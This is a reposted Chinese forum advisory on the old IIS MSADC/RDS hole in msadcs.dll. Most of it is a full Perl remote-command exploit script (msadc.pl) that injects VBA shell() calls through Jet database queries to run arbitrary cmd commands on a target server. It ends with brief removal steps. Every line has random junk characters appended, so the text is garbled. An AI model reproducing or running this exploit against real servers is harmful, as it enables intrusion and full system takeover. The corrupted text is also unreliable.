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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5G2G<[p5oQ  
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涉及程序: =(+]ee!Ti  
Microsoft NT server Al1_\vx7  
]ur?i{S,  
描述: {p.^E5&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 % n RgHN>  
E+ctiVL  
详细: 8eVy*h2:=  
如果你没有时间读详细内容的话,就删除: nW)?cQ I  
c:\Program Files\Common Files\System\Msadc\msadcs.dll A+|bJ>q  
有关的安全问题就没有了。 dGglt Y  
8WE@ X)e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +T\<oj%}2  
Q6T"8K/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Fr~\ZL  
关于利用ODBC远程漏洞的描述,请参看: 5S<Rz)1r  
-Ew>3Q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm E.%V 0}  
b(oe^jeGz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 s"@}^ )*}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4a0Ud !Qcs  
~&?57Sw*m  
这里不再论述。 X J`*dgJ  
=r4sF!g  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Mz.C`Z>o  
NH;e|8  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset f&j\gYWq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! X%mga~fB  
%~I&T". iC  
yAAV,?:o[  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #+QJ5VI :  
#SKC>M Gz  
#!perl mv>0j<C91  
# mPU}]1*p  
# MSADC/RDS 'usage' (aka exploit) script Zs(BViTb|  
# IsmZEVuC  
# by rain.forest.puppy NE.h/+4  
#  v%$l(  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ht*N[Pi4;  
# beta test and find errors! ,m[XeI  
,hH c -%-  
use Socket; use Getopt::Std; ;*'I&  
getopts("e:vd:h:XR", \%args); {yv_Ni*6!  
A_l\ij$Y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; : tBe/(e4#  
)RN3Oz@H  
if (!defined $args{h} && !defined $args{R}) { [[HCP8Wk   
print qq~ B{b?j*fHJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } O:sqm n  
-h <host> = host you want to scan (ip or domain) ] )iP?2{  
-d <seconds> = delay between calls, default 1 second >fMzUTJ4  
-X = dump Index Server path table, if available d5NE:%K  
-v = verbose tA^+RO4  
-e = external dictionary file for step 5 ZJF"Yo  
%%F, G  
Or a -R will resume a command session Z^]jy>dj  
'z^'+}iyv  
~; exit;} }W@refS  
(kVY\!UAt  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]isq}Qv~  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >|, <9z`D  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} P4HoKoj2`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )H@<A93  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <jh7G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -.r"|\1X  
yUWc8]9\W  
if (!defined $args{R}){ $ret = &has_msadc; D_?Tj  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~r?tFE* +  
KTt+}-vP^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !zt>& t  
. "cmd /c "; i6P}MtC1  
$in=<STDIN>; chomp $in; g4=C]\1  
$command="cmd /c " . $in ; YO-B|f  
k;jl3GV  
if (defined $args{R}) {&load; exit;} yKuZJXGVo  
CcW3o"=4  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; A +=#  
&try_btcustmr; VH4wsEH]  
z{&Av  
print "\nStep 2: Trying to make our own DSN..."; ZJW8S  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =xDxX#3  
%19~9Tw  
print "\nStep 3: Trying known DSNs..."; g%tUkM  
&known_dsn; VQ,5&-9Y3  
1TX3/]:  
print "\nStep 4: Trying known .mdbs..."; q6N{N>-D  
&known_mdb; w&f>VB~,1  
CVvl &on  
if (defined $args{e}){  [Rub  
print "\nStep 5: Trying dictionary of DSN names..."; V,rR*a&p  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u:']jw=f  
n_4.`vs  
print "Sorry Charley...maybe next time?\n"; 6eUGE4NF(  
exit; M*bsA/Z  
w>\oz  
############################################################################## j94~c YV  
O'B3sy  
sub sendraw { # ripped and modded from whisker +,,dsL  
sleep($delay); # it's a DoS on the server! At least on mine... xOPQ~J|z  
my ($pstr)=@_; Iila|,cM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || GApvRR+Z  
die("Socket problems\n"); 2q]ZI  
if(connect(S,pack "SnA4x8",2,80,$target)){ Zyr| J!VF  
select(S); $|=1; ovOV&Zt  
print $pstr; my @in=<S>; QVRQUd  
select(STDOUT); close(S); `q\F C[W  
return @in; /k ?l%AH  
} else { die("Can't connect...\n"); }} A4|7^Ay  
kP}l"CN4  
############################################################################## @67GVPcxl  
0 LXu!iix  
sub make_header { # make the HTTP request 9mp`LT  
my $msadc=<<EOT ~CHcbEWk)W  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %]Nm'"Y`U  
User-Agent: ACTIVEDATA -fV\JJ  
Host: $ip %z.V$2  
Content-Length: $clen P`O`Mw EAf  
Connection: Keep-Alive 8 e_]  
pGD-K41O]  
ADCClientVersion:01.06 v(R^LqE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 f+ZOE?"  
U\, N  
--!ADM!ROX!YOUR!WORLD! :R +BC2x  
Content-Type: application/x-varg \D' mo  
Content-Length: $reqlen </ "Wh4>C  
N%'(8%;  
EOT [kpQ:'P3  
; $msadc=~s/\n/\r\n/g; kCEo */,  
return $msadc;} _VjaTw8iM  
O-ENFA~E;v  
############################################################################## @YRy)+  
!<=(/4o&P  
sub make_req { # make the RDS request gx^_bHh  
my ($switch, $p1, $p2)=@_; ]mi\Y"RO  
my $req=""; my $t1, $t2, $query, $dsn; cAGM|%  
bf=\ED^  
if ($switch==1){ # this is the btcustmr.mdb query hrD2 -S  
$query="Select * from Customers where City=" . make_shell(); Ct?xTFb  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6iXV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wSCI?  
Vt \g9-[  
elsif ($switch==2){ # this is general make table query =jh^mD&'  
$query="create table AZZ (B int, C varchar(10))"; Mv/ SU">F  
$dsn="$p1";} nh0gT>a>@  
<+r~?X_  
elsif ($switch==3){ # this is general exploit table query p5OoDo  
$query="select * from AZZ where C=" . make_shell(); `Ix`/k}  
$dsn="$p1";} !5h-$;  
'AWWdz  
elsif ($switch==4){ # attempt to hork file info from index server zt9A-% \R  
$query="select path from scope()"; 9=6BQ`u  
$dsn="Provider=MSIDXS;";} Nxl#]  
g~,iWoY  
elsif ($switch==5){ # bad query =bP<cC=3b  
$query="select"; ,SIGfd  
$dsn="$p1";} oiR9NB&<  
(pM& eow}  
$t1= make_unicode($query); THX% z `  
$t2= make_unicode($dsn); op2Zf?Bx{+  
$req = "\x02\x00\x03\x00"; } ,}g](!m  
$req.= "\x08\x00" . pack ("S1", length($t1)); t~dK\>L  
$req.= "\x00\x00" . $t1 ; h+!R)q8M  
$req.= "\x08\x00" . pack ("S1", length($t2)); wj0_X;L  
$req.= "\x00\x00" . $t2 ; \p}GW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k >.U!  
return $req;} k,'MmAz  
<\uDtbK  
############################################################################## k:iy()n[  
ollVg/z  
sub make_shell { # this makes the shell() statement J#j3?qrxu  
return "'|shell(\"$command\")|'";} Q(Q?L5  
ZybfqBTD&c  
############################################################################## Wl=yxJu_(  
TG8U=9qt  
sub make_unicode { # quick little function to convert to unicode m5] a  
my ($in)=@_; my $out; A /c  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /E{tNd^S  
return $out;} -Vb5d!(  
% jf|efxo  
############################################################################## 7rbw_m`12-  
'byTM?Sp{  
sub rdo_success { # checks for RDO return success (this is kludge) (RrC<5"  
my (@in) = @_; my $base=content_start(@in); o(> #}[N}  
if($in[$base]=~/multipart\/mixed/){ Z  eY *5m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1#;^ Z3  
return 0;} =_3rc\0  
Eb6cL`#N  
############################################################################## SYQP7oG9oQ  
KRn[(yr`%  
sub make_dsn { # this makes a DSN for us yKK9b  
my @drives=("c","d","e","f"); I*JJvqh  
print "\nMaking DSN: "; F\&^(EL  
foreach $drive (@drives) { P.k>6T<U>  
print "$drive: "; Uc ,..  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . a{}#t}  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" _I3"35a  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /pU`-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; B<Cg_C  
return 0 if $2 eq "404"; # not found/doesn't exist 2'OY,Ooe  
if($2 eq "200") { @qW$un:  
foreach $line (@results) { Unq~lt%2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} nFI<Te^)  
} return 0;} 'qde#[VB  
:kE*  
############################################################################## Y}q~ Km  
hMvJNI6O  
sub verify_exists { Hi$N"16A5z  
my ($page)=@_; 3m4 sh~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); iFcSz  
return $results[0];} 6@47%%,}  
}wBpBw2J  
##############################################################################  huyfo1(  
Btr>ek  
sub try_btcustmr { Hd7Vp:KM  
my @drives=("c","d","e","f"); _akjgwu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v+trHdSBYE  
cUd>ah v  
foreach $dir (@dirs) { jLO$[c`;  
print "$dir -> "; # fun status so you can see progress j"pyK@v2B  
foreach $drive (@drives) { (Uu5$q(  
print "$drive: "; # ditto .V}bfd[k$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ieWXr4@:  
$reqlenlen=length( "$reqlen" ); XhWo~zh"  
$clen= 206 + $reqlenlen + $reqlen; =oiz@Q@H  
o$U{.#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); VG$;ri>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} z%JN|5  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} y] O&w{m$  
Fo%`X[?  
############################################################################## #4"eQ*.*"  
XDyo=A]  
sub odbc_error { v_v>gPl,  
my (@in)=@_; my $base; & @_PY  
my $base = content_start(@in); X&rsWk  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ySDo(EI4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N'l2$8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7)2Q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Rg46V-"d,@  
return $in[$base+4].$in[$base+5].$in[$base+6];} Ly2!(,FB.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9` VY)"rJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . :9x]5;ma  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} aTvLQ@MQ  
}y J,&N'p  
############################################################################## ^'Rs`e  
9jx>&MnWs  
sub verbose { 9&C8c\Y  
my ($in)=@_; z?kE((Ey  
return if !$verbose; ]:T:cO0_n  
print STDOUT "\n$in\n";} y@2"[fo3~  
%1{O  
############################################################################## ''!j:49  
hB aG*J{  
sub save { {-]K!tWda  
my ($p1, $p2, $p3, $p4)=@_; H, GnF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >dw 0@T&p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; QGGBI Ku   
close OUT;} R3piI&u  
*u,xBC2C  
############################################################################## k,<7)-  
]-a/)8  
sub load { G-]<+-Q$4  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; OR' e!{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); C8)s6  
@p=<IN>; close(IN); usoyH0t!?  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); qx*b\6Rt  
$target= inet_aton($ip) || die("inet_aton problems"); [0kZyjCq@  
print "Resuming to $ip ..."; E&L ml?@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t.O~RE  
if($p[1]==1) { d$E>bo-\   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0a@tPskV  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Ky8,HdAq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $/(``8li_  
if (rdo_success(@results)){print "Success!\n";} Ik A~+6UY  
else { print "failed\n"; verbose(odbc_error(@results));}} W>&*.3{v  
elsif ($p[1]==3){ 6L Fhhl^  
if(run_query("$p[3]")){ Uqj$itqUQ  
print "Success!\n";} else { print "failed\n"; }} =eDC{/K  
elsif ($p[1]==4){ u$ o 19n  
if(run_query($drvst . "$p[3]")){ @(N} {om  
print "Success!\n"; } else { print "failed\n"; }} Ytqx 0  
exit;} Hl{ul'o  
g_>E5z.  
############################################################################## xH,e$t#@@~  
0lOan  
sub create_table { 4W E)2vkS  
my ($in)=@_; >lek@euqw  
$reqlen=length( make_req(2,$in,"") ) - 28; I)r6*|mz  
$reqlenlen=length( "$reqlen" ); e85E+S%  
$clen= 206 + $reqlenlen + $reqlen; MAX?,- x  
my @results=sendraw(make_header() . make_req(2,$in,"")); KZ65# UVX  
return 1 if rdo_success(@results); gF2 93Ez  
my $temp= odbc_error(@results); verbose($temp); q%]5/.J  
return 1 if $temp=~/Table 'AZZ' already exists/; e~,+rM  
return 0;} V!TGFo}  
opzlh@R 3  
############################################################################## _o+OkvhU  
8)Vl2z  
sub known_dsn { qAlX#]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go **1=|aa:  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", A5%Now;.cf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Dd, &a  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); XI`s M~'  
KRP6b:+4L  
foreach $dSn (@dsns) { P~x4h{~Gd  
print "."; qM 3(OvCt  
next if (!is_access("DSN=$dSn")); )`gxaT>&l  
if(create_table("DSN=$dSn")){ H3iYE~^#  
print "$dSn successful\n"; {S@, ,  
if(run_query("DSN=$dSn")){ 9>&p:+D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &=T>($3r94  
print "Something's borked. Use verbose next time\n";}}} print "\n";} '*&V7:  
wLE|J9t%Ea  
############################################################################## W>b\O">  
v=&xiwz}  
sub is_access { mOyNl -f  
my ($in)=@_; Ar_Yl|a  
$reqlen=length( make_req(5,$in,"") ) - 28; W%9~'pXgB  
$reqlenlen=length( "$reqlen" ); h*Mi/\  
$clen= 206 + $reqlenlen + $reqlen; fNyXDCl  
my @results=sendraw(make_header() . make_req(5,$in,"")); K>\v<!%a  
my $temp= odbc_error(@results); 889^P`Q5  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]'>jw#|h  
return 0;} Go]y{9+(7  
$0~1;@`rQ6  
############################################################################## LJ z6)kz  
N!\1O,  
sub run_query { EVLDP\w{  
my ($in)=@_; KO[T&#y'  
$reqlen=length( make_req(3,$in,"") ) - 28; {8%KO1xB  
$reqlenlen=length( "$reqlen" ); HuN_$aP  
$clen= 206 + $reqlenlen + $reqlen; 4>B=k  
my @results=sendraw(make_header() . make_req(3,$in,"")); (Bpn9}F-V.  
return 1 if rdo_success(@results); DD>n-8M@>  
my $temp= odbc_error(@results); verbose($temp); <p` F/p-  
return 0;} Dv^M/z2&[  
!9V; 8g  
############################################################################## )hVn/*mH  
o?#-Tkb  
sub known_mdb { n%QWs 1 b  
my @drives=("c","d","e","f","g"); K&-u W_0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j~9![s!  
my $dir, $drive, $mdb; w`=XoYQl~*  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #??[;xjs!  
T7Ju7_q}  
# this is sparse, because I don't know of many ~eiD(04^r*  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 5pff}Ru`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Kz]\o"K  
"\\system32\\certmdb.mdb", 1@~ 1vsJ  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% eG.s|0`  
"412w^5[T  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Tg=P*HY6  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  Tx'anP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ezm*9Jc~p  
"\\cfusion\\cfapps\\security\\realm_.mdb", N6*FlG-  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 5+(Cp3  
"\\cfusion\\database\\cfexamples.mdb", Tj6Czq=*%T  
"\\cfusion\\database\\cfsnippets.mdb", ZF<$6"4N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", tq*6]q8c>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }Cb-7/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @FRas00)|  
"\\cfusion\\database\\smpolicy.mdb", I(/*pa?m{  
"\\cfusion\\database\cypress.mdb", ? Z2`f6;W4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j5~~%  
"\\website\\cgi-win\\dbsample.mdb", 8\?H`NN  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $KoGh_h   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" <?Z]h]C^o  
); #these are just e Zg>]<L  
foreach $drive (@drives) { |#(y?! A^  
foreach $dir (@dirs){ cCG!X%9  
foreach $mdb (@sysmdbs) { B,ao%3t  
print "."; 6_;n bqY&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [mG!-.ll  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; :"K9(XKKU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ fzN?X=  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; nHLMF7\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} xd4~[n\hm  
=W gzj|Kr  
foreach $drive (@drives) { 0R-W 9qP  
foreach $mdb (@mdbs) { 7H,)heA  
print "."; < 7*9b  
if(create_table($drv . $drive . $dir . $mdb)){ ;2gO(  
print "\n" . $drive . $dir . $mdb . " successful\n"; "_+8z_  
if(run_query($drv . $drive . $dir . $mdb)){ p$Floubh]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +'[/eW  
} else { print "Something's borked. Use verbose next time\n"; }}}} F84<='K  
} tU.~7f#+A  
{]4Zpev  
############################################################################## OgzKX>N`A  
.k,,PuP  
sub hork_idx { "z*?#&?,  
print "\nAttempting to dump Index Server tables...\n"; 8 9maN  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !&{"tL@.  
$reqlen=length( make_req(4,"","") ) - 28; "=2'Oqp1  
$reqlenlen=length( "$reqlen" ); 9?sm-qP  
$clen= 206 + $reqlenlen + $reqlen; yQN^F+.  
my @results=sendraw2(make_header() . make_req(4,"","")); {=MRJg!U  
if (rdo_success(@results)){ TALiH'w6|e  
my $max=@results; my $c; my %d; >h$Q%w{V  
for($c=19; $c<$max; $c++){ -6e^`c6{  
$results[$c]=~s/\x00//g; D]WrPWL8v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; e0]%ko"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j=u) z7J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L=I;0Ip9y  
$d{"$1$2"}="";} 2~yj =D27Z  
foreach $c (keys %d){ print "$c\n"; } P<LmCY m  
} else {print "Index server doesn't seem to be installed.\n"; }} T^#d\2  
R I:kp.V  
############################################################################## }LoMS<O-[  
34J*<B[Njo  
sub dsn_dict { 0~Xt_rN](  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); l,UOP[j  
while(<IN>){ zNg[%{mz  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Q&w"!N  
next if (!is_access("DSN=$dSn")); l.BiE<&  
if(create_table("DSN=$dSn")){ Ieh<|O,-C  
print "$dSn successful\n"; UsdMCJ&G  
if(run_query("DSN=$dSn")){ A~< cp)E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { z0|-OCmL  
print "Something's borked. Use verbose next time\n";}}} ]VS:5kOj`  
print "\n"; close(IN);} {f;DhB-jj  
PE?ICou  
############################################################################## CF : !  
F;T;'!mb  
sub sendraw2 { # ripped and modded from whisker Bc'Mj=>;  
sleep($delay); # it's a DoS on the server! At least on mine... uF[~YJ>  
my ($pstr)=@_;  +&<k}Mz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I |"'  
die("Socket problems\n"); bR?xz-g%<3  
if(connect(S,pack "SnA4x8",2,80,$target)){ f @Vd'k<  
print "Connected. Getting data"; 2dDhO  
open(OUT,">raw.out"); my @in; WwxV} ?Cf+  
select(S); $|=1; print $pstr; @c).&7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} yqP=6   
close(OUT); select(STDOUT); close(S); return @in; )&%Y{a#  
} else { die("Can't connect...\n"); }} hd`jf97*  
z]2lT IWg  
############################################################################## $h5QLN  
J.]`l\  
sub content_start { # this will take in the server headers  %Nx,ZD@  
my (@in)=@_; my $c; 7t/Y5Qf  
for ($c=1;$c<500;$c++) { h\+8eeIl  
if($in[$c] =~/^\x0d\x0a/){ Ydyz-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } KWM}VZY:Z  
else { return $c+1; }}} 7R,;/3wWjG  
return -1;} # it should never get here actually Uz%ynH  
Zu94dFP  
############################################################################## i9T<(sdK+  
35:RsL  
sub funky { Ve<f}  
my (@in)=@_; my $error=odbc_error(@in); U(%6ny  
if($error=~/ADO could not find the specified provider/){ J'yCVb)V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0:c3aq&u  
exit;} gLK0L%"5  
if($error=~/A Handler is required/){ s}bLA>~Ta  
print "\nServer has custom handler filters (they most likely are patched)\n"; $"MGu^0;1  
exit;} sH]T1z  
if($error=~/specified Handler has denied Access/){ LZQG.  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?A-f_0<0  
exit;}} ScmwHid:\  
FRXaPod  
############################################################################## s|X_:3\x  
ant2];0p  
sub has_msadc { #c~- 8=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); l8e)|MSh  
my $base=content_start(@results); { _Y'%Ggh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \C{Zqo,  
return 0;} /)<kG(Z  
.kJu17!  
######################## >;%LW} %  
b1%w+*d<z  
[ u ^/3N  
解决方案: +-|}<mq  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll '}-QZ$|*  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6o*'Q8h  
,uO_C(G/i  
拿出来充数 哈哈
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